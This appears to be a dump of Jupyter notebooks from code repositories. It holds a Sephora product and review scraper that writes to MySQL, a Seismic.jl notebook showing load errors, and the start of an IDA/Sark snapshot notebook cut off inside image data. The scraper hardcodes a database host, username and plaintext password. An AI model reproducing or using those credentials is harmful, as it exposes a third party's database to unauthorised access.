"85\n", "commit\n", "86\n", "commit\n", "87\n", "commit\n", "88\n", "89\n", "90\n", "91\n", "92\n", "commit\n", "93\n", "94\n", "commit\n", "95\n", "commit\n", "96\n", "97\n", "commit\n", "98\n", "99\n", "100\n", "101\n", "commit\n", "102\n", "commit\n", "103\n", "commit\n", "104\n", "105\n", "commit\n", "106\n", "commit\n", "107\n", "108\n", "commit\n", "109\n", "110\n", "commit\n", "111\n", "112\n", "commit\n", "113\n", "commit\n", "114\n", "commit\n", "115\n", "116\n", "commit\n", "117\n", "118\n", "119\n", "commit\n", "120\n", "commit\n", "121\n", "122\n", "commit\n", "123\n", "commit\n", "124\n", "125\n", "126\n", "commit\n", "127\n", "128\n", "129\n", "130\n", "commit\n", "131\n", "commit\n", "132\n", "133\n", "134\n", "commit\n", "135\n", "commit\n", "136\n", "commit\n", "137\n", "commit\n", "138\n", "139\n", "commit\n", "140\n", "commit\n", "141\n", "commit\n", "142\n", "143\n", "commit\n", "144\n", "145\n", "commit\n", "146\n", "147\n", "commit\n", "148\n", "149\n", "150\n", "commit\n", "151\n", "152\n", "commit\n", "153\n", "154\n", "commit\n", "155\n", "commit\n", "156\n", "157\n", "commit\n", "158\n", "159\n", "commit\n", "160\n", "161\n", "162\n", "commit\n", "163\n", "commit\n", "164\n", "165\n", "commit\n", "166\n", "commit\n", "167\n", "168\n", "commit\n", "169\n", "170\n", "commit\n", "171\n", "172\n", "commit\n", "173\n", "commit\n", "174\n", "commit\n", "175\n", "commit\n", "176\n", "commit\n", "177\n", "commit\n", "178\n", "commit\n", "179\n", "180\n", "181\n", "182\n", "commit\n", "183\n", "184\n", "commit\n", "185\n", "186\n", "187\n", "commit\n", "188\n", "commit\n", "189\n", "190\n", "commit\n", "191\n", "192\n", "193\n", "194\n", "195\n", "196\n", "commit\n", "197\n", "commit\n", "198\n", "commit\n", "199\n", "commit\n", "200\n", "commit\n", "201\n", "commit\n", "202\n", "203\n", "commit\n", "204\n", "205\n", "commit\n", "206\n", "commit\n", "207\n", "208\n", "commit\n", "209\n", "commit\n", "210\n", "211\n", "commit\n", "212\n", "commit\n", "213\n", "commit\n", "214\n", "commit\n", "215\n", "commit\n", "216\n", "217\n", "218\n", "219\n", "220\n", "commit\n", "221\n", "commit\n", "222\n", "223\n", "commit\n", "224\n", "commit\n", "225\n", "commit\n", "226\n", "commit\n", "227\n", "commit\n", "228\n", "commit\n", "229\n", "230\n", "commit\n", "231\n", "232\n", "233\n", "commit\n", "234\n", "235\n", "commit\n", "236\n", "commit\n", "237\n", "commit\n", "238\n", "239\n", "240\n", "241\n", "242\n", "243\n", "commit\n", "244\n", "245\n", "246\n", "commit\n", "247\n", "248\n", "249\n", "250\n", "251\n", "252\n", "commit\n", "253\n", "254\n", "255\n", "256\n", "commit\n", "257\n", "commit\n", "258\n", "259\n", "260\n", "261\n", "lipstick\n", "0\n", "1\n", "2\n", "commit\n", "3\n", "commit\n", "4\n", "commit\n", "5\n", "commit\n", "6\n", "7\n", "commit\n", "8\n", "9\n", "commit\n", "10\n", "11\n", "commit\n", "12\n", "13\n", "14\n", "15\n", "16\n", "17\n", "18\n", "19\n", "20\n", "commit\n", "21\n", "22\n", "23\n", "24\n", "commit\n", "25\n", "commit\n", "26\n", "27\n", "28\n", "29\n", "30\n", "commit\n", "31\n", "32\n", "commit\n", "33\n", "34\n", "commit\n", "35\n", "36\n", "37\n", "commit\n", "38\n", "commit\n", "39\n", "commit\n", "40\n", "commit\n", "41\n", "commit\n", "42\n", "43\n", "commit\n", "44\n", "45\n", "commit\n", "46\n", "47\n", "48\n", "commit\n", "49\n", "commit\n", "50\n", "51\n", "52\n", "commit\n", "53\n", "54\n", "commit\n", "55\n", "commit\n", "56\n", "57\n", "commit\n", "58\n", "59\n", "60\n", "61\n", "commit\n", "62\n", "commit\n", "63\n", "64\n", "65\n", "66\n", "67\n", "68\n", "69\n", "70\n", "71\n", "72\n", "73\n", "commit\n", "74\n", "commit\n", "75\n", "commit\n", "76\n", "commit\n", "77\n", "commit\n", "78\n", "commit\n", "79\n", "commit\n", "80\n", "81\n", "82\n", "commit\n", "83\n", "commit\n", "84\n", "85\n", "86\n", "commit\n", "87\n", "commit\n", "88\n", "89\n", "90\n", "commit\n", "91\n", "92\n", "commit\n", "93\n", "94\n", "commit\n", "95\n", "96\n", "commit\n", "97\n", "commit\n", "98\n", "99\n", "100\n", "commit\n", "101\n", "commit\n", "102\n", "103\n", "104\n", "105\n", "106\n", "107\n", "108\n", "commit\n", "109\n", "commit\n", "110\n", "111\n", "commit\n", "112\n", "commit\n", "113\n", "commit\n", "114\n", "115\n", "commit\n", "116\n", "commit\n", "117\n", "commit\n", "118\n", "119\n", "commit\n", "120\n", "121\n", "commit\n", "122\n", "123\n", "commit\n", "124\n", "commit\n", "125\n", "126\n", "127\n", "128\n", "commit\n", "129\n", "130\n", "commit\n", "131\n", "132\n", "133\n", "134\n", "135\n", "commit\n", "136\n", "137\n", "138\n", "commit\n", "139\n", "140\n", "commit\n", "141\n", "142\n", "143\n", "144\n", "145\n", "commit\n", "146\n", "commit\n", "147\n", "commit\n", "148\n", "commit\n", "149\n", "commit\n", "150\n", "commit\n", "151\n", "152\n", "commit\n", "153\n", "154\n", "commit\n", "155\n", "156\n", "commit\n", "157\n", "commit\n", "158\n", "159\n", "commit\n", "160\n", "161\n", "162\n", "163\n", "164\n", "commit\n", "165\n", "166\n", "commit\n", "167\n", "commit\n", "168\n", "commit\n", "169\n", "170\n", "commit\n", "171\n", "commit\n", "172\n", "173\n", "174\n", "175\n", "176\n", "commit\n", "177\n", "commit\n", "178\n", "179\n", "180\n", "181\n", "182\n", "commit\n", "183\n", "184\n", "185\n", "186\n", "commit\n", "187\n", "188\n", "commit\n", "189\n", "190\n", "191\n", "192\n", "commit\n", "193\n", "194\n", "commit\n", "195\n", "commit\n", "196\n", "commit\n", "197\n", "198\n", "commit\n", "199\n", "200\n", "commit\n", "201\n", "202\n", "203\n", "204\n", "205\n", "206\n", "207\n", "commit\n", "208\n", "209\n", "commit\n", "210\n", "211\n", "commit\n", "212\n", "commit\n", "213\n", "commit\n", "214\n", "215\n", "commit\n", "216\n", "217\n", "218\n", "219\n", "220\n", "commit\n", "221\n", "222\n", "commit\n", "223\n", "224\n", "commit\n", "225\n", "226\n", "commit\n", "227\n", "commit\n", "228\n", "229\n", "commit\n", "230\n", "commit\n", "231\n", "232\n", "233\n", "234\n", "commit\n", "235\n", "236\n", "237\n", "238\n", "commit\n", "239\n", "240\n", "241\n", "242\n", "commit\n", "243\n", "commit\n", "244\n", "commit\n", "245\n", "commit\n", "246\n", "247\n", "248\n", "249\n", "250\n", "251\n", "252\n" ] } ], "source": [ "search_topics = ['blush','conditioner-hair','mascara','foundation-makeup', 'lipstick'] \n", "\n", "for search in search_topics:\n", " print(search)\n", " #scrape by search \n", " link_main = 'http://www.sephora.com/'\n", " term = search+'?pageSize=-1'\n", " req = urllib.request.Request(link_main+term, headers={'User-Agent': 'Firefox'})\n", " webpage = urllib.request.urlopen(req).read()\n", " soup_web = BeautifulSoup(webpage, 'html.parser')\n", " \n", " #parse product urls\n", " product_url = soup_web.find_all('script', {'type': 'application/ld+json'})[1]\n", " product_url = str(product_url)\n", " product_url = re.findall(\"(url\\\":\\\")(.*?)(\\\"},{\\\")\", product_url)\n", " product_url = [x[1] for x in product_url]\n", "\n", " #get product information\n", " for i in range(0, len(product_url)):\n", " print(i)\n", " try: \n", " #scrap product page\n", " req_pg = urllib.request.Request(product_url[i], headers={'User-Agent': 'Chrome'})\n", " page = urllib.request.urlopen(req_pg).read()\n", " soup = BeautifulSoup(page, 'html.parser')\n", " \n", " #parse ingredients\n", " ingredients = soup.find_all('script', {'type': 'text/json'})[4]\n", " ingredients = str(ingredients)\n", " ingredients = re.sub(\"(,\\\"is_new\\\":true)\", \"\", ingredients)\n", " ingredients = ingredients.split(\"ingredients\\\":\")[1]\n", " ingredients = ingredients.split('\",\"')[0]\n", " if ingredients == '\"':\n", " continue\n", " cleanr = re.compile('<.*?>')\n", " ingredients = re.sub(cleanr, '', ingredients)\n", " ingredients = ingredients.split(\",\")\n", " ingredients = [re.sub(r'[^\\w\\s]','',x) for x in ingredients]\n", " ingredients = [re.sub(' r n ','',x) for x in ingredients]\n", " \n", " #parse brand name\n", " brand = soup.find_all('script', {'type': 'text/json'})[4]\n", " brand = str(brand)\n", " brand = brand.split(\"brand_name\\\":\")[1]\n", " brand = brand.split(\"},\\\"sku_number\")[0]\n", " brand = re.split(',', brand)\n", " brand = str(brand)\n", " brand = brand[3:-3]\n", " brand = brand.split('\"}')[0] \n", "\n", " #parse product name\n", " name = soup.find_all('script', {'type': 'text/json'})[4]\n", " name = str(name)\n", " name = name.split(\"display_name\\\":\")[1]\n", " name = name.split(\",\\\"variation_type\")[0]\n", " name = re.split(',', name)\n", " name = str(name)\n", " name = name[3:-3]\n", " \n", " #parse review page\n", " keywords = soup.find_all('meta')\n", " keywords = str(keywords)\n", " keywords = keywords.split('//reviews.sephora.com/static/')[1]\n", " keywords = keywords.split('/')[0]\n", " keywords2 = product_url[i].split('-')\n", " keywords2 = keywords2[len(keywords2)-1]\n", " link = 'http://reviews.sephora.com/'+keywords+'/'+keywords2+'/reviews.htm?format=embedded&amp;page=1m&amp;'\n", " req_pg2 = urllib.request.Request(link, headers={'User-Agent': 'Chrome'})\n", " page2 = urllib.request.urlopen(req_pg2).read()\n", " soup2 = BeautifulSoup(page2, 'html.parser')\n", " rg = soup2.find_all('span', {'class': 'BVRRNumber'})\n", " if rg == []:\n", " continue\n", " \n", " #insert product into mysql\n", " try:\n", " #product table\n", " data_product = (name, brand, search, str(product_url[i]))\n", " cursor.execute(add_product, data_product)\n", " product_id = cursor.lastrowid\n", " \n", " #product-ingredient table\n", " for ingredient_name in ingredients:\n", " data_ingredient = (product_id, ingredient_name)\n", " cursor.execute(add_ingredient, data_ingredient)\n", "\n", " except:\n", " #close mysql server\n", " cnx.close()\n", " #connect to mysql server\n", " cnx = mysql.connector.connect(host='152.19.68.141', user='ctolson', password='ilaYOU5!', database='sephora_cosmetics')\n", " cursor = cnx.cursor()\n", " #continue\n", " continue\n", " \n", " rg = str(rg).split(\"class=\\\"BVRRNumber\\\">\")[1]\n", " rg = rg.split(\"</span\")[0]\n", " rg = re.sub(\",\", \"\", rg)\n", " rg = int(int(rg)/5)\n", " \n", " #parse reviews\n", " for num in range(1,rg):\n", " link = 'http://reviews.sephora.com/'+keywords+'/'+keywords2+'/reviews.htm?format=embedded&page='+str(num)+'&scrollToTop=true'\n", " req_pg3 = urllib.request.Request(link, headers={'User-Agent': 'Chrome'})\n", " page3 = urllib.request.urlopen(req_pg3).read()\n", " soup3 = BeautifulSoup(page3, 'html.parser')\n", " text = soup3.find_all('div', {'class': 'BVRRReviewTextContainer'})\n", " user = soup3.find_all('span', {'class': 'BVRRNickname'})\n", " for z in range(0,len(text)):\n", " review = text[z].find_all('span', {'class': 'BVRRReviewText'})\n", " review = str(review).split(\"class=\\\"BVRRReviewText\\\">\")\n", " review = re.sub(\"(</span>)\", \"\", str(review))\n", " review = re.sub(\"(<span)\", \"\", str(review))\n", " reviewer = str(user[z]).split(\"itemprop=\\\"author\\\">\")[1]\n", " reviewer = reviewer.split(\"</span\")[0]\n", " \n", " #insert reviews into mysql \n", " try:\n", " data_review = (product_id, review, reviewer)\n", " cursor.execute(add_review, data_review)\n", " except:\n", " pass\n", " \n", " #commit entry \n", " cnx.commit()\n", " print('commit')\n", " \n", " except:\n", " #close mysql server\n", " cnx.close()\n", " #connect to mysql server\n", " cnx = mysql.connector.connect(host='152.19.68.141', user='ctolson', password='ilaYOU5!', database='sephora_cosmetics')\n", " cursor = cnx.cursor()\n", " #continue\n", " continue\n", " " ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [], "source": [ "#close mysql server\n", "cnx.close()\n" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.1" } }, "nbformat": 4, "nbformat_minor": 1 }

apache-2.0

aaronstanton/Seismic.jl

test/IJulia/Untitled.ipynb

2

2106

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [ { "ename": "LoadError", "evalue": "`SeisWriteHeaders` has no method matching SeisWriteHeaders(::ASCIIString, ::Array{Header,1}, ::Bool)\nwhile loading In[1], in expression starting on line 2", "output_type": "error", "traceback": [ "`SeisWriteHeaders` has no method matching SeisWriteHeaders(::ASCIIString, ::Array{Header,1}, ::Bool)\nwhile loading In[1], in expression starting on line 2", "", " in SeisProcessHeaders at /Users/astanton/Seismic/src/Utils/SeisProcessHeaders.jl:28", " in SeisWindowHeaders at /Users/astanton/Seismic/src/Utils/SeisWindowHeaders.jl:4", " in SeisWindow at /Users/astanton/Seismic/src/Utils/SeisWindow.jl:23" ] } ], "source": [ "using Seismic\n", "SeisWindow(\"616_79_PR.seis\",\"616_79_PR_imx_501_1000.seis\",key=[\"tracenum\" \"t\"],minval=[1 0.1],maxval=[1000 1.2])" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [ { "ename": "LoadError", "evalue": "opening file NULL: No such file or directory\nwhile loading In[2], in expression starting on line 1", "output_type": "error", "traceback": [ "opening file NULL: No such file or directory\nwhile loading In[2], in expression starting on line 1", "", " in systemerror at /Users/astanton/julia/usr/lib/julia/sys.dylib", " in open at ./iostream.jl:117", " in open at iostream.jl:122", " in SeisHeaderInfo at /Users/astanton/Seismic/src/Utils/SeisHeaderInfo.jl:12", " in SeisHeaderInfo at /Users/astanton/Seismic/src/Utils/SeisHeaderInfo.jl:8" ] } ], "source": [ "SeisHeaderInfo(\"616_79_PR_imx_501_1000.seis\")" ] } ], "metadata": { "kernelspec": { "display_name": "Julia 0.3.11-pre", "language": "julia", "name": "julia-0.3" }, "language_info": { "name": "julia", "version": "0.3.11" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

james91b/ida_ipython

notebook/examples/Sark Snapshots.ipynb

2

216053

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Snaphots with Sark\n", "With the help of [Sark](sark.rtfd.org), IDA-IPython can become a great tool for documenting important parts of your work and your IDB, as Sark allows you to easily take snapshots of IDA." ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [], "source": [ "import sark\n", "from sark.ipython import snap" ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [ { "data": { "image/png": "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\n8/ZtVTN2q6BTx4cM9j0kYGn2